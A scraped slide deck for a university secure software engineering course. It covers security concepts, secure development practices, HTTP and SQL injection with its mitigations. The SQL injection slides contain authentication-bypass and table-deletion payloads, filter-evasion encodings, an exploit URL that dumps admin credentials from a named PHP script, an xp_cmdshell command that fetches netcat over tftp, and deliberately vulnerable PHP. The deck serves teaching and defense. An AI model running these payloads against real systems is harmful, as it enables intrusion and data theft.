Secure Software Engineering James Walden Northern Kentucky University

  • Slides: 59
Download presentation
Secure Software Engineering James Walden Northern Kentucky University

Secure Software Engineering James Walden Northern Kentucky University

Course Information Prerequisites CSC 540, CSC 582 Web Site http: //faculty. cs. nku. edu/~waldenj/classes/2015/spring/csc

Course Information Prerequisites CSC 540, CSC 582 Web Site http: //faculty. cs. nku. edu/~waldenj/classes/2015/spring/csc 666/ Textbooks Software Security, Gary Mc. Graw, Addison-Wesley, 2006. Secure Programming with Static Analysis, Brian Chess and Jacob West, Addison-Wesley, 2007. CSC 666: Secure Software Engineering

Topics 1. 2. 3. 4. 5. Security Concepts The Software Security Problem Processes and

Topics 1. 2. 3. 4. 5. Security Concepts The Software Security Problem Processes and Touchpoints Web Application Vulnerabilities An Example Vulnerability: SQL Injection CSC 666: Secure Software Engineering

What is Security? Security is the prevention of certain types of intentional actions from

What is Security? Security is the prevention of certain types of intentional actions from occurring in a system. § The actors who may attack a system are threats. § Threats carry out attacks to compromise a system. § Objects of attacks are assets.

The Value of a Hacked PC http: //krebsonsecurity. com/2012/10/the-scrap-value-of-a-hacked-pc-revisited/

The Value of a Hacked PC http: //krebsonsecurity. com/2012/10/the-scrap-value-of-a-hacked-pc-revisited/

Safety vs Security Adversary: An intelligent attacker who intentionally causes the system to fail.

Safety vs Security Adversary: An intelligent attacker who intentionally causes the system to fail. Safety • Home: fire alarm. • Car: crumple zones. • Computer: UPS. Security • Home: door lock. • Car: alarm. • Computer: Login password. Safety and security can interact: Who is watching your computer room after the fire alarm was pulled?

Components of Security Integrity Confidentiality Availability

Components of Security Integrity Confidentiality Availability

Confidentiality is the avoidance of the unauthorized disclosure of information. Examples where confidentiality is

Confidentiality is the avoidance of the unauthorized disclosure of information. Examples where confidentiality is critical: § Personal information § Trade secrets § Military plans

Security Controls for Confidentiality Access Control: rules and policies that limit access to certain

Security Controls for Confidentiality Access Control: rules and policies that limit access to certain people and/or systems. § File permissions (which users can access) § Firewall settings (which IP addresses can access) Encryption: transforming information so that it can only be read using a secret key. § AES § SSL

Integrity is the property that information has not be altered in an unauthorized way.

Integrity is the property that information has not be altered in an unauthorized way. Examples where integrity is critical: § Operating system files § Software updates and downloads § Bank account records

Security Controls for Integrity § Backups: periodic archiving of data. § Checksums: the computation

Security Controls for Integrity § Backups: periodic archiving of data. § Checksums: the computation of a function that maps the contents of a file to a numerical value. § Intrusion detection: systems that look for signatures of attacks or that verify that all system software matches correct checksums.

Availability is the property that information is accessible and modifiable in a timely fashion

Availability is the property that information is accessible and modifiable in a timely fashion by those authorized to do so. Examples where availability is critical: § E-commerce site § Authentication server for your network § Current stock quotes

Security Controls for Availability Physical protections: infrastructure meant to keep information available even in

Security Controls for Availability Physical protections: infrastructure meant to keep information available even in the event of physical challenges. § Backup generators § Disaster recovery site Computational redundancies: computers and storage devices that serve as fallbacks in the case of failures. § Backup tapes § RAID

Other Security Components Authenticity Privacy Non-Repudiation

Other Security Components Authenticity Privacy Non-Repudiation

States of Information 1. Storage: information in permanent storage (disk or tape) that is

States of Information 1. Storage: information in permanent storage (disk or tape) that is not currently being accessed. 2. Processing: information in memory (RAM or cache) that is currently being used by a program. 3. Transmission: information in transit between one node and another on a network.

Securing Information in All States Information in Processing Internet Information in Transmission Information in

Securing Information in All States Information in Processing Internet Information in Transmission Information in Storage

Traditional Security is Reactive § Perimeter defense (firewalls) § Intrusion detection (anti-virus) § Over-reliance

Traditional Security is Reactive § Perimeter defense (firewalls) § Intrusion detection (anti-virus) § Over-reliance on cryptography § Penetrate and patch § Penetration testing CSC 666: Secure Software Engineering

The Problem is Software “ 75% of hacks happen at the application. ” -

The Problem is Software “ 75% of hacks happen at the application. ” - Theresa Lanowitz, Gartner Inc. “ 92% of reported vulnerabilities are in apps, not networks. ” - NIST “ 64% of developers are not confident in their ability to write secure code. ” - Bill Gates CSC 666: Secure Software Engineering

Vulnerabilities are Common CSC 666: Secure Software Engineering

Vulnerabilities are Common CSC 666: Secure Software Engineering

Motivations CSC 666: Secure Software Engineering

Motivations CSC 666: Secure Software Engineering

Trinity of Trouble Connectivity § Ubquitious Internet; wireless & mobile computing. Complexity § Networked,

Trinity of Trouble Connectivity § Ubquitious Internet; wireless & mobile computing. Complexity § Networked, distributed code that can interact with intermediate caches, ad proxies, etc. Extensibility § Systems evolve in unexpected ways, e. g. web browsers, which support many formats, addons, plugins, programming languages, etc. CSC 666: Secure Software Engineering

SSE Objectives 1. Dependability: software functions only as intended; 2. Trustworthiness: No exploitable vulnerabilities

SSE Objectives 1. Dependability: software functions only as intended; 2. Trustworthiness: No exploitable vulnerabilities or malicious logic exist in the software; 3. Resilience: If compromised, damage will be minimized, and it will recover quickly to an acceptable level of operating capacity; 4. Conformance: to requirements and applicable standards and procedures. CSC 666: Secure Software Engineering

Security Standards and Certs § ISO 15408 Common Criteria § PCI Data Security Standard

Security Standards and Certs § ISO 15408 Common Criteria § PCI Data Security Standard § Requirement 6: Develop and maintain secure systems and applications § SANS GIAC Secure Software Programmer § http: //www. sans-ssi. org/ § Many standards indirectly impact SSE § FISMA § SOX CSC 666: Secure Software Engineering

Secure Development Processes § CLASP (Comprehensive, Lightweight Application Security Process) § Correctness-by-Construction (formal methods

Secure Development Processes § CLASP (Comprehensive, Lightweight Application Security Process) § Correctness-by-Construction (formal methods based process from Praxis Critical Systems) § MS SDL (Microsoft Secure Development Lifecycle) § SSE CMM (Secure Software Engineering Capability Maturity Model) § TSP-Secure (Team Software Process for Secure Software Development) § Touchpoints CSC 666: Secure Software Engineering

Software Security Practices 4. Security Testing 5. Abuse Cases 6. Security Operations 1. Code

Software Security Practices 4. Security Testing 5. Abuse Cases 6. Security Operations 1. Code Reviews 2. Risk Analysis 3. Penetration Testing Abuse Cases Requirements Risk Analysis Design Code Reviews + Static Analysis Coding Security Testing CSC 666: Secure Software Engineering Penetration Testing Security Operations Maintenance

Code Reviews Fix implementation bugs, not design flaws. Benefits of code reviews 1. 2.

Code Reviews Fix implementation bugs, not design flaws. Benefits of code reviews 1. 2. 3. 4. Find defects sooner in the lifecycle. Find defects with less effort than testing. Find different defects than testing. Educate developers about security flaws. CSC 666: Secure Software Engineering

Architectural Risk Analysis Fix design flaws, not implementation bugs. Risk analysis steps 1. 2.

Architectural Risk Analysis Fix design flaws, not implementation bugs. Risk analysis steps 1. 2. 3. 4. 5. 6. Develop an architecture model. Identify threats and possible vulnerabilities. Develop attack scenarios. Rank risks based on probability and impact. Develop mitigation strategy. Report findings CSC 666: Secure Software Engineering

Penetration Testing Test software in deployed environment. Allocate time at end of development to

Penetration Testing Test software in deployed environment. Allocate time at end of development to test. • Often time-boxed: test for n days. • Schedule slips often reduce testing time. • Fixing flaws is expensive late in lifecycle. Penetration testing tools • Test common vulnerability types against inputs. • Fuzzing: send random data to inputs. • Don’t understand application structure or purpose. CSC 666: Secure Software Engineering

Security Testing Injection flaws, buffer overflows, XSS, etc. Functional testing will find missing functionality.

Security Testing Injection flaws, buffer overflows, XSS, etc. Functional testing will find missing functionality. Intendended Functionality Actual Functionality CSC 666: Secure Software Engineering

Security Testing Two types of testing Functional: verify security mechanisms. Adversarial: verify resistance to

Security Testing Two types of testing Functional: verify security mechanisms. Adversarial: verify resistance to attacks generated during risk analysis. Different from traditional penetration testing • White box. • Use risk analysis to build tests. • Measure security against risk model. CSC 666: Secure Software Engineering

Abuse Cases Anti-requirements Think about what software should not do. A use case from

Abuse Cases Anti-requirements Think about what software should not do. A use case from an adversary’s point of view. • Obtain Another User’s CC Data. • Alter Item Price. • Deny Service to Application. Developing abuse cases Informed brainstorming: attack patterns, risks. CSC 666: Secure Software Engineering

Security Operations User security notes • Software should be secure by default. • Enabling

Security Operations User security notes • Software should be secure by default. • Enabling certain features may have risks. • User needs to be informed of security risks. Incident response • What happens when a vulnerability is reported? • How do you communicate with users? • How do you send updates to users? CSC 666: Secure Software Engineering

Web Application Vulnerabilities Input-based Security Problems § Injection Flaws § Insecure Remote File Inclusion

Web Application Vulnerabilities Input-based Security Problems § Injection Flaws § Insecure Remote File Inclusion § Unvalidated Input Authentication and Authorization § Authentication § Access Control § Cross-Site Scripting Other Bugs § Error Handling and Information Leakage § Insecure Storage § Insecure Communications CSC 666: Secure Software Engineering

HTTP: Hyper. Text Transfer Protocol Simple request/response protocol § Request methods: GET, POST, HEAD,

HTTP: Hyper. Text Transfer Protocol Simple request/response protocol § Request methods: GET, POST, HEAD, etc. § Stateless: req#2 doesn’t know about req#1 HTTPS § § HTTP wrapped in SSL/TLS encryption Protects data in transit to web server. Doesn’t protect stored data. Doesn’t protect server from being hacked. CSC 666: Secure Software Engineering

HTTP Request Method URL Protocol Version Headers GET http: //www. google. com/ HTTP/1. 1

HTTP Request Method URL Protocol Version Headers GET http: //www. google. com/ HTTP/1. 1 Host: www. google. com User-Agent: Mozilla/5. 0 (Windows NT 5. 1) Gecko/20060909 Firefox/1. 5. 0. 7 Accept: text/html, image/png, */* Accept-Language: en-us, en; q=0. 5 Cookie: rememberme=true; PREF=ID=21039 ab 4 bbc 49153: FF=4 Blank Line No Data for GET CSC 666: Secure Software Engineering

HTTP POST Request Method URL Protocol Version POST http: //www. example. com/ HTTP/1. 1

HTTP POST Request Method URL Protocol Version POST http: //www. example. com/ HTTP/1. 1 Headers Host: www. example. com User-Agent: Mozilla/5. 0 (Windows NT 5. 1) Gecko/20060909 Firefox/1. 5. 0. 7 Accept: text/html, image/png, */* Accept-Language: en-us, en; q=0. 5 Blank Line name=Jane+Doe&sex=female&color=green&ove r 6 feet=true&over 200 pounds=false&athletic ability=NA POST data CSC 482/582: Computer Security Slide #36

HTTP Methods Method Description GET Retrieve resource located at specified URI. HEAD Retrieve metadata

HTTP Methods Method Description GET Retrieve resource located at specified URI. HEAD Retrieve metadata about resource located at specified URI. Useful for caches to determine if they need to retrieve an updated resource. PUT Create or replace resource located at specified URI with resource provided by client. DELETE Delete resource located at specified URI. OPTIONS Return list of HTTP methods that can be used with specified URI. POST Create a new resource under the specified URI, e. g. adding a new message in a web forum, adding a comment to a blog post, annotating a photo, etc. In summary, POST is a way for a client to create a new resource without knowing its URI; the client just knows the URI of a “parent” or “factory” resource. CIT 480: Securing Computer Systems

HTTP Response Protocol Version HTTP Response Code HTTP/1. 1 200 OK Headers Cache-Control: private

HTTP Response Protocol Version HTTP Response Code HTTP/1. 1 200 OK Headers Cache-Control: private Content-Type: text/html Blank Server: GWS/2. 1 Line Date: Fri, 13 Oct 2006 03: 16: 30 GMT <HTML>. . . (page data). . . </HTML> Web Page Data CSC 666: Secure Software Engineering

HTTP GET Parameters http: //ex. com/path/app. cgi? param 1=val 1&param 2=val 2 Format §

HTTP GET Parameters http: //ex. com/path/app. cgi? param 1=val 1&param 2=val 2 Format § parameter_name=value § Multiple parameters separated by & URI encoding § Encode chars as ISO-Latin hex val: %XY § Special characters must be encoded. § Any character may be encoded. CSC 666: Secure Software Engineering

HTTP POST Parameters POST /path/app. cgi HTTP/1. 0 Content-Type: application/x-www-form-urlencoded Content-Length: 32 param 1=value

HTTP POST Parameters POST /path/app. cgi HTTP/1. 0 Content-Type: application/x-www-form-urlencoded Content-Length: 32 param 1=value 1&param 2=value 2 Format § parameter_name=value § Multiple parameters separated by & URI encoding CSC 666: Secure Software Engineering

Cookies HTTP/1. 1 200 OK Content-Type: text/html Set-Cookie: Name=Value; path=/; expires=01 -Jan-2038 23: 59

Cookies HTTP/1. 1 200 OK Content-Type: text/html Set-Cookie: Name=Value; path=/; expires=01 -Jan-2038 23: 59 UCT GET /path/app. cgi HTTP/1. 1 Host: ex. com Cookie: Name=Value Cookie Format § Only sent to URLs that match path, domain. § Sent only via SSL if secure specified. § Expires on date or when browser closed. CSC 666: Secure Software Engineering

Example Vulnerability: Injection § Injection attacks trick an application into including unintended commands in

Example Vulnerability: Injection § Injection attacks trick an application into including unintended commands in the data send to an interpreter. § Interpreters § Interpret strings as commands. § Ex: SQL, shell (cmd. exe, bash), LDAP, XPath § Key Idea § Input data from the application is executed as code by the interpreter. CSC 666: Secure Software Engineering

SQL Injection 1. App sends form to user. 2. Attacker submits form with SQL

SQL Injection 1. App sends form to user. 2. Attacker submits form with SQL exploit data. 3. Application builds string with exploit data. 4. Application sends SQL query to DB. 5. DB executes query, including exploit, sends data back to application. 6. Application returns data to user. Attacker User ‘ or 1=1 -Pass Firewall Web Server CSC 666: Secure Software Engineering DB Server

SQL Injection in PHP $link = mysql_connect($DB_HOST, $DB_USERNAME, $DB_PASSWORD) or die ("Couldn't connect: ".

SQL Injection in PHP $link = mysql_connect($DB_HOST, $DB_USERNAME, $DB_PASSWORD) or die ("Couldn't connect: ". mysql_error()); mysql_select_db($DB_DATABASE); $query = "select count(*) from users where username = '$username' and password = '$password'"; $result = mysql_query($query); CSC 666: Secure Software Engineering

SQL Injection Attack #1 Unauthorized Access Attempt: password = ’ or 1=1 -- SQL

SQL Injection Attack #1 Unauthorized Access Attempt: password = ’ or 1=1 -- SQL statement becomes: select count(*) from users where username = ‘user’ and password = ‘’ or 1=1 -Checks if password is empty OR 1=1, which is always true, permitting access. CSC 666: Secure Software Engineering

SQL Injection Attack #2 Database Modification Attack: password = foo’; delete from table users

SQL Injection Attack #2 Database Modification Attack: password = foo’; delete from table users where username like ‘% DB executes two SQL statements: select count(*) from users where username = ‘user’ and password = ‘foo’ delete from table users where username like ‘%’ CSC 666: Secure Software Engineering

Finding SQL Injection Bugs 1. Submit a single quote as input. n If an

Finding SQL Injection Bugs 1. Submit a single quote as input. n If an error results, app is vulnerable. n If no error, check for any output changes. 2. Submit two single quotes. n Databases use ’’ to represent literal ’ n If error disappears, app is vulnerable. 3. Try string or numeric operators. n Oracle: ’||’FOO n MS-SQL: ‘+’FOO n My. SQL: ’ ’FOO n 2 -2 n 81+19 n 49 -ASCII(1) CSC 666: Secure Software Engineering

2008 Mass SQL Injection Attacks § Estimated 1. 5 million pages compromised. § Methodology

2008 Mass SQL Injection Attacks § Estimated 1. 5 million pages compromised. § Methodology § Identify vulnerable web applications. § Use xp_cmdshell on MS SQL to download tools to compromised MS SQL server. § Use fgdump to obtain Windows credentials. § Install backdoors that periodically contact their command & control servers. § Search for credit cards or brute force passwords. CSC 666: Secure Software Engineering

Real Estate Site Hacking Exploit against http: //phprealestatescript. com/ www. website. com/fullnews. php? id=1/**/UNION/**/ALL/**/SELECT/**/1,

Real Estate Site Hacking Exploit against http: //phprealestatescript. com/ www. website. com/fullnews. php? id=1/**/UNION/**/ALL/**/SELECT/**/1, 2, concat(username, char(58), password), 4, 5/**/FROM/**/admin/* CSC 666: Secure Software Engineering

The Problem: String Building a SQL command string with user input in any language

The Problem: String Building a SQL command string with user input in any language is dangerous. • Variable interpolation. • String concatenation with variables. • String format functions like sprintf(). • String templating with variable replacement. CSC 666: Secure Software Engineering

Mitigating SQL Injection Partially Effective Mitigations Blacklists Stored Procedures Effective Mitigations Whitelists Prepared Queries

Mitigating SQL Injection Partially Effective Mitigations Blacklists Stored Procedures Effective Mitigations Whitelists Prepared Queries CSC 666: Secure Software Engineering

Ineffective Mitigation: Blacklist Filter out known bad SQL metacharacters, such as single quotes. Problems:

Ineffective Mitigation: Blacklist Filter out known bad SQL metacharacters, such as single quotes. Problems: 1. 2. 3. 4. Numeric parameters don’t use quotes. URL escaped metacharacters. Unicode encoded metacharacters. Did you miss any metacharacters? CSC 666: Secure Software Engineering

Bypassing Blacklist Filters Different case Se. Lec. T instead of SELECT or select Bypass

Bypassing Blacklist Filters Different case Se. Lec. T instead of SELECT or select Bypass keyword removal filters SELSELECTECT URL-encoding %53%45%4 C%45%43%54 SQL comments SELECT/*foo*/num/*foo*/FROM/**/cc SEL/*foo*/ECT String Building ‘us’||’er’ chr(117)||chr(115)||chr(101)||chr(114) CSC 666: Secure Software Engineering

Ineffective Mitigation: Stored Procedures SQL Stored Procedures build strings too: CREATE PROCEDURE dbo. do.

Ineffective Mitigation: Stored Procedures SQL Stored Procedures build strings too: CREATE PROCEDURE dbo. do. Query(@id nchar(128) AS DECLARE @query nchar(256) SELECT @query = ‘SELECT cc FROM cust WHERE id=‘’’ + @id + ‘’’’ EXEC @query RETURN and they can be invoked insecurely with user input: exec sp_login ‘user’ ‘foo’; master. . xp_cmdshell ‘tftp e. com GET nc. exe’# CSC 666: Secure Software Engineering

Mitigation: Whitelist Reject input that doesn’t match your list of safe characters to accept.

Mitigation: Whitelist Reject input that doesn’t match your list of safe characters to accept. § Identify what’s good, not what’s bad. § Reject input instead of attempting to repair. § Still have to deal with single quotes when required, such as in names. CSC 666: Secure Software Engineering

Mitigation: Prepared Queries require_once 'MDB 2. php'; $mdb 2 =& MDB 2: : factory($dsn,

Mitigation: Prepared Queries require_once 'MDB 2. php'; $mdb 2 =& MDB 2: : factory($dsn, $options); if (PEAR: : is. Error($mdb 2)) { die($mdb 2 ->get. Message()); } $sql = “SELECT count(*) from users where username = ? and password = ? ”; $types = array('text', 'text'); $sth = $mdb 2 ->prepare($sql, $types, MDB 2_PREPARE_MANIP); $data = array($username, $password); $sth->execute($data); CSC 666: Secure Software Engineering

Key Points § The Trinity of Trouble § SSE Goals § § Dependability Trustworthiness

Key Points § The Trinity of Trouble § SSE Goals § § Dependability Trustworthiness Resilience Conformance § Touchpoints § § § Code Reviews Risk Analysis Penetration Testing Security Testing Abuse Cases Security Operations CSC 666: Secure Software Engineering

Key Points § Components of Security § § § Confidentiality Integrity Availability Authenticity Non-Repudiation

Key Points § Components of Security § § § Confidentiality Integrity Availability Authenticity Non-Repudiation Privacy § Injection Vulnerabilities § Problem: Input data to application executed as code by a third party component, such as a command shell or database. § Mitigations: - Avoid using an interpreter (complete mitigation). - Whitelist validation (effective mitigation) - Blacklist validation (ineffective mitigation) CSC 666: Secure Software Engineering

References 1. 2. 3. 4. 5. 6. 7. Brian Chess and Jacob West, Secure

References 1. 2. 3. 4. 5. 6. 7. Brian Chess and Jacob West, Secure Programming with Static Analysis, Addison-Wesley, 2007. CLASP, OWASP CLASP Project, http: //www. owasp. org/index. php/Category: OWASP_CLASP_Proje ct, 2008. Noopur Davis et. al. , Processes for Producing Secure Software. IEEE Security & Privacy, May 2004. Karen Goertzel, Theodore Winograd, et al. for Department of Homeland Security and Department of Defense Data and Analysis Center for Software. Enhancing the Development Life Cycle to Produce Secure Software: A Reference Guidebook on Software Assurance, October 2008. Michael Howard and Steve Lipner, The Security Development Lifecycle, Microsoft Press, 2006. Michael Howard, “SAFECode: Fundamental Processes for Secure Software Development, ” http: //www. safecode. org/publications/SAFECode_Dev_Practices 1 008. pdf, October 2008. Gary Mc. Graw, Software Security, Addison-Wesley, 2006. CSC 666: Secure Software Engineering